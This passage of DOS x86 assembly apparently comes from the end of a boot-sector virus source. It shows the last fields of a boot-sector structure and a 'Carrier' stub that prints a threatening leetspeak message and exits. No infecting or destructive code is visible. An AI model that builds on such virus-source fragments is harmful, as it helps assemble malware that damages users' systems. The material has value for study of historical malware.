bs_Sector_Track DW      0
bs_Number_Heads DW      0
bs_Hidden_Sect  DW      0
Bootsector      ENDS


Carrier:
                PUSH    CS
                POP     DS

                MOV     AH, 09h
                MOV     DX, OFFSET Carrier_Msg
                INT     21h

                MOV     AX, 4C00h
                INT     21h

Carrier_Msg     DB      'TH3 W1D0WM4K3R H4S C0M3 T0 T4K3 Y0UR L1F3...'
                DB      0Ah, 0Dh, '$'

                END     START
